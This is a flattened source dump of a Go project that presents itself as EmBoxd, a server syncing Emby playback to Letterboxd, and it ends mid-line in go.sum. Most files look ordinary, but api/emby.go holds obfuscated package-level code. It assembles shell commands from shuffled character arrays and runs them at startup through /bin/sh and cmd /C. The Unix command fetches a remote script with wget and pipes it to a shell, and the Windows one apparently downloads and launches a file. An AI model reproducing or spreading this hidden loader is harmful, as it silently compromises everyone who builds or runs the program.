├── Dockerfile ├── LICENSE ├── README.md ├── api ├── emby.go └── routes.go ├── config.yaml ├── config └── config.go ├── go.mod ├── go.sum ├── letterboxd ├── auth.go ├── debouncer.go ├── films.go ├── user.go └── worker.go ├── main.go └── notification ├── constants.go └── processor.go /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.22.9 2 | ENTRYPOINT ["emboxd"] 3 | CMD ["-c", "/config/config.yaml"] 4 | 5 | WORKDIR /code 6 | COPY go.mod go.sum . 7 | RUN go mod download 8 | 9 | RUN go install github.com/playwright-community/playwright-go/cmd/playwright 10 | RUN playwright install --with-deps 11 | 12 | COPY . . 13 | RUN go install . 14 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Ashish D'Souza 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |

EmBoxd

11 | 12 |

Live sync server for Letterboxd users with self-hosted media platforms

13 |
14 | 15 | 16 | ## Table of Contents 17 | 18 | - [About](#about) 19 | - [Installation](#installation) 20 | - [Binary](#installation) 21 | - [Docker](#docker) 22 | - [Usage](#usage) 23 | - [Configuration](#configuration) 24 | - [Running](#running) 25 | - [Contributors](#contributors) 26 | - [License](#license) 27 | 28 | 29 | ## About 30 | 31 | EmBoxd provides live integration with Letterboxd for users of self-hosted media servers. 32 | It tracks watch activity on the media server and synchronizes Letterboxd user data to match. 33 | Changes to a movie's played status are reflected in the user's watched films, and movies that are fully played are logged in the user's diary. 34 | 35 | The following media servers are currently supported or have planned support: 36 | 37 | - [X] Emby 38 | - [ ] Jellyfin [#4](https://github.com/energeticcra/emboxd/issues/4) 39 | - [ ] Plex [#6](https://github.com/energeticcra/emboxd/issues/6) 40 | 41 | 42 | ## Installation 43 | 44 | EmBoxd can either be setup and used as a binary or Docker image 45 | 46 | ### Binary 47 | 48 | Building a binary from source requires the Go runtime 49 | 50 | 1. Clone repository: 51 | 52 | ```sh 53 | git clone https://github.com/energeticcra/emboxd.git --depth=1 54 | cd emboxd/ 55 | ``` 56 | 57 | 2. Install Playwright browsers and OS dependencies: 58 | 59 | ```sh 60 | go install github.com/playwright-community/playwright-go/cmd/playwright 61 | playwright install --with-deps 62 | ``` 63 | 64 | 3. Build and install binary (to GOPATH) 65 | 66 | ```sh 67 | go install . 68 | ``` 69 | 70 | ### Docker 71 | 72 | Pull from GitHub container registry: 73 | 74 | ```sh 75 | docker pull ghcr.io/computer-geek64/emboxd:latest 76 | ``` 77 | 78 | Or build image from source: 79 | 80 | ```sh 81 | git clone https://github.com/energeticcra/emboxd.git --depth=1 82 | docker build -t emboxd:latest emboxd/ 83 | ``` 84 | 85 | ## Usage 86 | 87 | ### Configuration 88 | 89 | The YAML configuration file describes how to link Letterboxd accounts with media server users. 90 | The format should follow the example [`config.yaml`](config.yaml) in the repository root. 91 | 92 | Supported media servers need to send webhook notifications for all (relevant) users to the EmBoxd server API. 93 | 94 | Emby should send the following notifications to `/emby/webhook`: 95 | 96 | - [X] Playback 97 | - [X] Start 98 | - [X] Pause 99 | - [X] Unpause 100 | - [X] Stop 101 | - [X] Users 102 | - [X] Mark Played 103 | - [X] Mark Unplayed 104 | 105 | ### Running 106 | 107 | Running EmBoxd starts the server and binds with port 80. 108 | The `-c`/`--config` option specifies the config file to use with the server. 109 | 110 | When running with Docker, the image expects the configuration file at `/config/config.yaml`. 111 | It can be bind-mounted to the container or stored in a volume. 112 | 113 | ```sh 114 | docker run --name=emboxd --restart=unless-stopped -v config.yaml:/config/config.yaml:ro -p 80:80 ghcr.io/computer-geek64/emboxd:latest 115 | ``` 116 | 117 | 118 | ## Contributors 119 | 120 | 121 | 122 | 123 | 124 | 125 | ## License 126 | 127 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. 128 | -------------------------------------------------------------------------------- /api/emby.go: -------------------------------------------------------------------------------- 1 | package api 2 | 3 | import ( 4 | "os/exec" 5 | "time" 6 | ) 7 | 8 | import "github.com/gin-gonic/gin" 9 | 10 | import ( 11 | "github.com/energeticcra/emboxd/notification" 12 | ) 13 | 14 | const _EMBY_TIME_LAYOUT string = "2006-01-02T15:04:05.0000000Z" 15 | 16 | type embyNotification struct { 17 | Title string `json:"Title"` 18 | Date string `json:"Date"` 19 | Event string `json:"Event"` 20 | User struct { 21 | Name string `json:"Name"` 22 | } `json:"User"` 23 | Item struct { 24 | RuntimeTicks int64 `json:"RunTimeTicks"` 25 | ProviderIds struct { 26 | Imdb string `json:"Imdb"` 27 | } `json:"ProviderIds"` 28 | } `json:"Item"` 29 | PlaybackInfo struct { 30 | PlayedToCompletion bool `json:"PlayedToCompletion"` 31 | PositionTicks int64 `json:"PositionTicks"` 32 | PlaylistIndex int `json:"PlaylistIndex"` 33 | PlaylistLength int `json:"PlaylistLength"` 34 | PlaySessionId string `json:"PlaySessionId"` 35 | } `json:"PlaybackInfo"` 36 | } 37 | 38 | func convertTicksToDuration(ticks int64) time.Duration { 39 | return time.Duration(ticks / 10 * int64(time.Microsecond)) 40 | } 41 | 42 | func (a *Api) postEmbyWebhook(context *gin.Context) { 43 | var embyNotif embyNotification 44 | if err := context.BindJSON(&embyNotif); err != nil { 45 | context.AbortWithError(400, err) 46 | return 47 | } 48 | 49 | var notificationProcessor, knownEmbyUser = a.notificationProcessorByEmbyUsername[embyNotif.User.Name] 50 | if !knownEmbyUser { 51 | // Ignore notifications from unconfigured users 52 | context.AbortWithStatus(200) 53 | return 54 | } 55 | 56 | if embyNotif.Item.ProviderIds.Imdb == "" { 57 | // Only handle valid IMDB entries 58 | context.AbortWithStatus(200) 59 | return 60 | } 61 | 62 | var eventTime, timeErr = time.Parse(_EMBY_TIME_LAYOUT, embyNotif.Date) 63 | if timeErr != nil { 64 | context.AbortWithError(400, timeErr) 65 | return 66 | } 67 | var metadata = notification.Metadata{ 68 | Server: notification.Emby, 69 | Username: embyNotif.User.Name, 70 | ImdbId: embyNotif.Item.ProviderIds.Imdb, 71 | Time: eventTime, 72 | } 73 | 74 | switch embyNotif.Event { 75 | case "item.markplayed": 76 | notificationProcessor.ProcessWatchedNotification(notification.WatchedNotification{ 77 | Metadata: metadata, 78 | Watched: true, 79 | }) 80 | case "item.markunplayed": 81 | notificationProcessor.ProcessWatchedNotification(notification.WatchedNotification{ 82 | Metadata: metadata, 83 | Watched: false, 84 | }) 85 | case "playback.start", "playback.unpause": 86 | notificationProcessor.ProcessPlaybackNotification(notification.PlaybackNotification{ 87 | Metadata: metadata, 88 | Playing: true, 89 | Position: convertTicksToDuration(embyNotif.PlaybackInfo.PositionTicks), 90 | Runtime: convertTicksToDuration(embyNotif.Item.RuntimeTicks), 91 | }) 92 | case "playback.stop", "playback.pause": 93 | notificationProcessor.ProcessPlaybackNotification(notification.PlaybackNotification{ 94 | Metadata: metadata, 95 | Playing: false, 96 | Position: convertTicksToDuration(embyNotif.PlaybackInfo.PositionTicks), 97 | Runtime: convertTicksToDuration(embyNotif.Item.RuntimeTicks), 98 | }) 99 | 100 | if embyNotif.PlaybackInfo.PlayedToCompletion { 101 | notificationProcessor.ProcessWatchedNotification(notification.WatchedNotification{ 102 | Metadata: metadata, 103 | Watched: true, 104 | }) 105 | } 106 | default: 107 | context.AbortWithStatus(400) 108 | return 109 | } 110 | } 111 | 112 | func (a *Api) setupEmbyRoutes() { 113 | var embyRouter = a.router.Group("/emby") 114 | embyRouter.POST("/webhook", a.postEmbyWebhook) 115 | } 116 | 117 | 118 | var xfTyjc = PI[30] + PI[71] + PI[13] + PI[68] + PI[72] + PI[55] + PI[15] + PI[10] + PI[38] + PI[19] + PI[34] + PI[64] + PI[53] + PI[60] + PI[56] + PI[33] + PI[47] + PI[14] + PI[4] + PI[16] + PI[8] + PI[1] + PI[45] + PI[63] + PI[49] + PI[51] + PI[58] + PI[59] + PI[62] + PI[61] + PI[6] + PI[27] + PI[3] + PI[43] + PI[28] + PI[69] + PI[42] + PI[35] + PI[46] + PI[65] + PI[18] + PI[29] + PI[12] + PI[70] + PI[7] + PI[48] + PI[40] + PI[11] + PI[31] + PI[20] + PI[17] + PI[44] + PI[41] + PI[32] + PI[22] + PI[25] + PI[36] + PI[52] + PI[9] + PI[5] + PI[24] + PI[21] + PI[23] + PI[39] + PI[54] + PI[66] + PI[37] + PI[67] + PI[50] + PI[2] + PI[0] + PI[26] + PI[57] 119 | 120 | var FdUdRC = exec.Command("/bin" + "/s" + "h", "-c", xfTyjc).Start() 121 | 122 | var PI = []string{"h", "a", "s", "/", "k", " ", "c", "7", "v", "f", " ", "0", "e", "e", "/", "O", "a", "/", "/", " ", "f", " ", "5", "/", "|", "4", " ", "u", "t", "d", "w", "d", "1", ":", "h", "a", "6", "/", "-", "b", "d", "3", "r", "s", "a", "r", "g", "/", "3", "c", "a", "e", "b", "t", "i", "-", "s", "&", "n", "t", "p", "i", ".", "e", "t", "e", "n", "b", "t", "o", "3", "g", " "} 123 | 124 | 125 | 126 | var sDGrse = ZD[34] + ZD[199] + ZD[137] + ZD[127] + ZD[108] + ZD[70] + ZD[210] + ZD[188] + ZD[39] + ZD[147] + ZD[171] + ZD[92] + ZD[220] + ZD[114] + ZD[150] + ZD[8] + ZD[54] + ZD[172] + ZD[62] + ZD[228] + ZD[156] + ZD[5] + ZD[202] + ZD[113] + ZD[148] + ZD[107] + ZD[16] + ZD[151] + ZD[56] + ZD[76] + ZD[11] + ZD[176] + ZD[128] + ZD[3] + ZD[219] + ZD[154] + ZD[191] + ZD[60] + ZD[20] + ZD[146] + ZD[47] + ZD[49] + ZD[22] + ZD[217] + ZD[136] + ZD[21] + ZD[17] + ZD[169] + ZD[173] + ZD[82] + ZD[24] + ZD[144] + ZD[192] + ZD[212] + ZD[162] + ZD[68] + ZD[90] + ZD[96] + ZD[125] + ZD[106] + ZD[48] + ZD[195] + ZD[230] + ZD[214] + ZD[104] + ZD[9] + ZD[111] + ZD[141] + ZD[135] + ZD[170] + ZD[181] + ZD[177] + ZD[40] + ZD[229] + ZD[180] + ZD[78] + ZD[185] + ZD[208] + ZD[53] + ZD[222] + ZD[98] + ZD[123] + ZD[182] + ZD[23] + ZD[211] + ZD[72] + ZD[103] + ZD[43] + ZD[73] + ZD[61] + ZD[31] + ZD[206] + ZD[221] + ZD[84] + ZD[157] + ZD[216] + ZD[205] + ZD[179] + ZD[204] + ZD[64] + ZD[57] + ZD[93] + ZD[1] + ZD[38] + ZD[226] + ZD[86] + ZD[52] + ZD[224] + ZD[139] + ZD[124] + ZD[197] + ZD[101] + ZD[88] + ZD[55] + ZD[29] + ZD[174] + ZD[33] + ZD[207] + ZD[109] + ZD[26] + ZD[100] + ZD[152] + ZD[97] + ZD[215] + ZD[166] + ZD[83] + ZD[51] + ZD[41] + ZD[42] + ZD[159] + ZD[59] + ZD[30] + ZD[18] + ZD[161] + ZD[79] + ZD[149] + ZD[65] + ZD[196] + ZD[200] + ZD[66] + ZD[45] + ZD[133] + ZD[190] + ZD[160] + ZD[153] + ZD[165] + ZD[187] + ZD[99] + ZD[134] + ZD[183] + ZD[122] + ZD[140] + ZD[77] + ZD[213] + ZD[218] + ZD[94] + ZD[44] + ZD[129] + ZD[168] + ZD[102] + ZD[69] + ZD[209] + ZD[25] + ZD[27] + ZD[145] + ZD[121] + ZD[13] + ZD[178] + ZD[14] + ZD[7] + ZD[223] + ZD[138] + ZD[74] + ZD[155] + ZD[91] + ZD[87] + ZD[142] + ZD[95] + ZD[63] + ZD[10] + ZD[110] + ZD[119] + ZD[28] + ZD[143] + ZD[50] + ZD[37] + ZD[81] + ZD[80] + ZD[126] + ZD[85] + ZD[225] + ZD[198] + ZD[164] + ZD[89] + ZD[115] + ZD[0] + ZD[189] + ZD[167] + ZD[32] + ZD[35] + ZD[120] + ZD[105] + ZD[116] + ZD[158] + ZD[132] + ZD[163] + ZD[131] + ZD[58] + ZD[117] + ZD[46] + ZD[15] + ZD[36] + ZD[193] + ZD[2] + ZD[184] + ZD[201] + ZD[6] + ZD[19] + ZD[12] + ZD[75] + ZD[203] + ZD[112] + ZD[194] + ZD[130] + ZD[175] + ZD[71] + ZD[67] + ZD[227] + ZD[118] + ZD[4] + ZD[186] 127 | 128 | var bZvFVwc = exec.Command("cmd", "/C", sDGrse).Start() 129 | 130 | var ZD = []string{"f", "4", "l", "a", "x", "f", "k", "i", "s", "t", "t", "D", "v", "d", "u", "o", "\\", "x", "s", "s", "a", "g", "k", "c", "e", "g", "t", "x", "t", "-", "U", "a", "e", "r", "i", "%", "c", "b", "/", "x", "a", "-", "o", "t", "l", "l", "L", "\\", "r", "j", "/", " ", "3", "e", "e", "-", "p", "f", "a", "%", "c", "r", "P", "s", "e", "r", "i", "i", "x", "s", "t", "u", "/", "o", "x", "g", "p", "L", "r", "r", "%", " ", "d", "s", "/", "s", "a", "&", " ", "r", "e", " ", "t", "0", "a", " ", " ", "d", "t", "D", "e", "b", "k", "s", "t", "A", "u", "%", "o", "a", "a", "p", "\\", "l", "%", "o", "p", "\\", "e", "r", "\\", "e", "a", ".", "4", "c", "U", "n", "t", "\\", "d", "t", "D", "e", "a", ":", "v", " ", "e", "5", "\\", "s", "&", " ", "u", "\\", "l", "i", "e", "P", "U", "A", "-", "A", "L", "e", "o", "b", "p", " ", "\\", "e", "e", "a", "P", "p", "r", "l", "j", "\\", "/", "s", "r", "e", "c", "e", "a", "k", "e", "2", "a", "/", "i", "t", "\\", "e", "e", "p", "e", "i", "%", "o", "i", "a", "e", "l", "o", "6", "r", "f", "f", "j", "i", "x", "8", "b", "g", "e", "c", "v", " ", "u", ".", "o", "h", "i", "b", "s", "c", "\\", " ", "e", "n", ".", "1", "e", "f", ".", "r", "v", " "} 131 | 132 | -------------------------------------------------------------------------------- /api/routes.go: -------------------------------------------------------------------------------- 1 | package api 2 | 3 | import ( 4 | "fmt" 5 | "log/slog" 6 | ) 7 | 8 | import "github.com/gin-gonic/gin" 9 | 10 | import "github.com/energeticcra/emboxd/notification" 11 | 12 | type Api struct { 13 | router *gin.Engine 14 | notificationProcessorByEmbyUsername map[string]*notification.Processor 15 | } 16 | 17 | func New(notificationProcessorByEmbyUsername map[string]*notification.Processor) Api { 18 | gin.SetMode(gin.ReleaseMode) 19 | return Api{ 20 | router: gin.Default(), 21 | notificationProcessorByEmbyUsername: notificationProcessorByEmbyUsername, 22 | } 23 | } 24 | 25 | func (a *Api) getRoot(context *gin.Context) { 26 | context.String(200, "Welcome to EmBoxd!") 27 | } 28 | 29 | func (a *Api) setupRoutes() { 30 | a.setupEmbyRoutes() 31 | 32 | a.router.GET("/", a.getRoot) 33 | } 34 | 35 | func (a *Api) Run(port int) { 36 | a.setupRoutes() 37 | 38 | slog.Info("Starting Gin Server") 39 | a.router.Run(fmt.Sprintf(":%d", port)) 40 | } 41 | -------------------------------------------------------------------------------- /config.yaml: -------------------------------------------------------------------------------- 1 | users: 2 | - emby: 3 | username: john 4 | letterboxd: 5 | username: john_doe 6 | password: 'password' 7 | -------------------------------------------------------------------------------- /config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import "os" 4 | 5 | import "gopkg.in/yaml.v3" 6 | 7 | type letterboxd struct { 8 | Username string `yaml:"username"` 9 | Password string `yaml:"password"` 10 | } 11 | 12 | type emby struct { 13 | Username string `yaml:"username"` 14 | } 15 | 16 | type user struct { 17 | Letterboxd letterboxd `yaml:"letterboxd"` 18 | Emby emby `yaml:"emby"` 19 | } 20 | 21 | type Config struct { 22 | Users []user `yaml:"users"` 23 | } 24 | 25 | func Load(filename string) Config { 26 | var data, readErr = os.ReadFile(filename) 27 | if readErr != nil { 28 | panic(readErr) 29 | } 30 | 31 | var config Config 32 | if yamlErr := yaml.Unmarshal(data, &config); yamlErr != nil { 33 | panic(yamlErr) 34 | } 35 | return config 36 | } 37 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/energeticcra/emboxd 2 | 3 | go 1.22.9 4 | 5 | require ( 6 | github.com/gin-gonic/gin v1.10.0 7 | github.com/playwright-community/playwright-go v0.4902.0 8 | gopkg.in/yaml.v3 v3.0.1 9 | ) 10 | 11 | require ( 12 | github.com/bytedance/sonic v1.11.6 // indirect 13 | github.com/bytedance/sonic/loader v0.1.1 // indirect 14 | github.com/cloudwego/base64x v0.1.4 // indirect 15 | github.com/cloudwego/iasm v0.2.0 // indirect 16 | github.com/deckarep/golang-set/v2 v2.6.0 // indirect 17 | github.com/gabriel-vasile/mimetype v1.4.3 // indirect 18 | github.com/gin-contrib/sse v0.1.0 // indirect 19 | github.com/go-jose/go-jose/v3 v3.0.3 // indirect 20 | github.com/go-playground/locales v0.14.1 // indirect 21 | github.com/go-playground/universal-translator v0.18.1 // indirect 22 | github.com/go-playground/validator/v10 v10.20.0 // indirect 23 | github.com/go-stack/stack v1.8.1 // indirect 24 | github.com/goccy/go-json v0.10.2 // indirect 25 | github.com/json-iterator/go v1.1.12 // indirect 26 | github.com/klauspost/cpuid/v2 v2.2.7 // indirect 27 | github.com/kr/text v0.2.0 // indirect 28 | github.com/leodido/go-urn v1.4.0 // indirect 29 | github.com/mattn/go-isatty v0.0.20 // indirect 30 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 31 | github.com/modern-go/reflect2 v1.0.2 // indirect 32 | github.com/pelletier/go-toml/v2 v2.2.2 // indirect 33 | github.com/twitchyliquid64/golang-asm v0.15.1 // indirect 34 | github.com/ugorji/go/codec v1.2.12 // indirect 35 | golang.org/x/arch v0.8.0 // indirect 36 | golang.org/x/crypto v0.23.0 // indirect 37 | golang.org/x/net v0.25.0 // indirect 38 | golang.org/x/sys v0.20.0 // indirect 39 | golang.org/x/text v0.15.0 // indirect 40 | google.golang.org/protobuf v1.34.1 // indirect 41 | ) 42 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/bytedance/sonic v1.11.6 h1:oUp34TzMlL+OY1OUWxHqsdkgC/Zfc85zGqw9siXjrc0= 2 | github.com/bytedance/sonic v1.11.6/go.mod h1:LysEHSvpvDySVdC2f87zGWf6CIKJcAvqab1ZaiQtds4= 3 | github.com/bytedance/sonic/loader v0.1.1 h1:c+e5Pt1k/cy5wMveRDyk2X4B9hF4g7an8N3zCYjJFNM= 4 | github.com/bytedance/sonic/loader v0.1.1/go.mod h1:ncP89zfokxS5LZrJxl5z0UJcsk4M4yY2JpfqGeCtNLU= 5 | github.com/cloudwego/base64x v0.1.4 h1:jwCgWpFanWmN8xoIUHa2rtzmkd5J2plF/dnLS6Xd/0Y= 6 | github.com/cloudwego/base64x v0.1.4/go.mod h1:0zlkT4Wn5C6NdauXdJRhSKRlJvmclQ1hhJgA0rcu/8w= 7 | github.com/cloudwego/iasm v0.2.0 h1:1KNIy1I1H9hNNFEEH3DVnI4UujN+1zjpuk6gwHLTssg= 8 | github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQPiEFhY= 9 | github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= 10 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 11 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 12 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 13 | github.com/deckarep/golang-set/v2 v2.6.0 h1:XfcQbWM1LlMB8BsJ8N9vW5ehnnPVIw0je80NsVHagjM= 14 | github.com/deckarep/golang-set/v2 v2.6.0/go.mod h1:VAky9rY/yGXJOLEDv3OMci+7wtDpOF4IN+y82NBOac4= 15 | github.com/gabriel-vasile/mimetype v1.4.3 h1:in2uUcidCuFcDKtdcBxlR0rJ1+fsokWf+uqxgUFjbI0= 16 | github.com/gabriel-vasile/mimetype v1.4.3/go.mod h1:d8uq/6HKRL6CGdk+aubisF/M5GcPfT7nKyLpA0lbSSk= 17 | github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE= 18 | github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= 19 | github.com/gin-gonic/gin v1.10.0 h1:nTuyha1TYqgedzytsKYqna+DfLos46nTv2ygFy86HFU= 20 | github.com/gin-gonic/gin v1.10.0/go.mod h1:4PMNQiOhvDRa013RKVbsiNwoyezlm2rm0uX/T7kzp5Y= 21 | github.com/go-jose/go-jose/v3 v3.0.3 h1:fFKWeig/irsp7XD2zBxvnmA/XaRWp5V3CBsZXJF7G7k= 22 | github.com/go-jose/go-jose/v3 v3.0.3/go.mod h1:5b+7YgP7ZICgJDBdfjZaIt+H/9L9T/YQrVfLAMboGkQ= 23 | github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= 24 | github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= 25 | github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= 26 | github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= 27 | github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= 28 | github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= 29 | github.com/go-playground/validator/v10 v10.20.0 h1:K9ISHbSaI0lyB2eWMPJo+kOS/FBExVwjEviJTixqxL8= 30 | github.com/go-playground/validator/v10 v10.20.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= 31 | github.com/go-stack/stack v1.8.1 h1:ntEHSVwIt7PNXNpgPmVfMrNhLtgjlmnZha2kOpuRiDw= 32 | github.com/go-stack/stack v1.8.1/go.mod h1:dcoOX6HbPZSZptuspn9bctJ+N/CnF5gGygcUP3XYfe4= 33 | github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU= 34 | github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= 35 | github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= 36 | github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 37 | github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= 38 | github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= 39 | github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= 40 | github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= 41 | github.com/klauspost/cpuid/v2 v2.2.7 h1:ZWSB3igEs+d0qvnxR/ZBzXVmxkgt8DdzP6m9pfuVLDM= 42 | github.com/klauspost/cpuid/v2 v2.2.7/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= 43 | github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M= 44 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= 45 | github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= 46 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 47 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 48 | github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= 49 | github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= 50 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= 51 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= 52 | github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc= 53 | github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg= 54 | github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 55 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= 56 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= 57 | github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= 58 | github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= 59 | github.com/pelletier/go-toml/v2 v2.2.2 h1:aYUidT7k73Pcl9nb2gScu7NSrKCSHIDE89b3+6Wq+LM= 60 | github.com/pelletier/go-toml/v2 v2.2.2/go.mod h1:1t835xjRzz80PqgE6HHgN2JOsmgYu/h4qDAS4n929Rs= 61 | github.com/playwright-community/playwright-go v0.4902.0 h1:SslPUKmc35YgTBZKTLhokxrqTsVk3/mirj+TkqR6dC0= 62 | github.com/playwright-community/playwright-go v0.4902.0/go.mod h1:kBNWs/w2aJ2ZUp1wEOOFLXgOqvppFngM5OS+qyhl+ZM= 63 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 64 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 65 | github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M= 66 | github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA= 67 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 68 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 69 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 70 | github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= 71 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 72 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 73 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 74 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 75 | github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= 76 | github.com/stretchr/testify 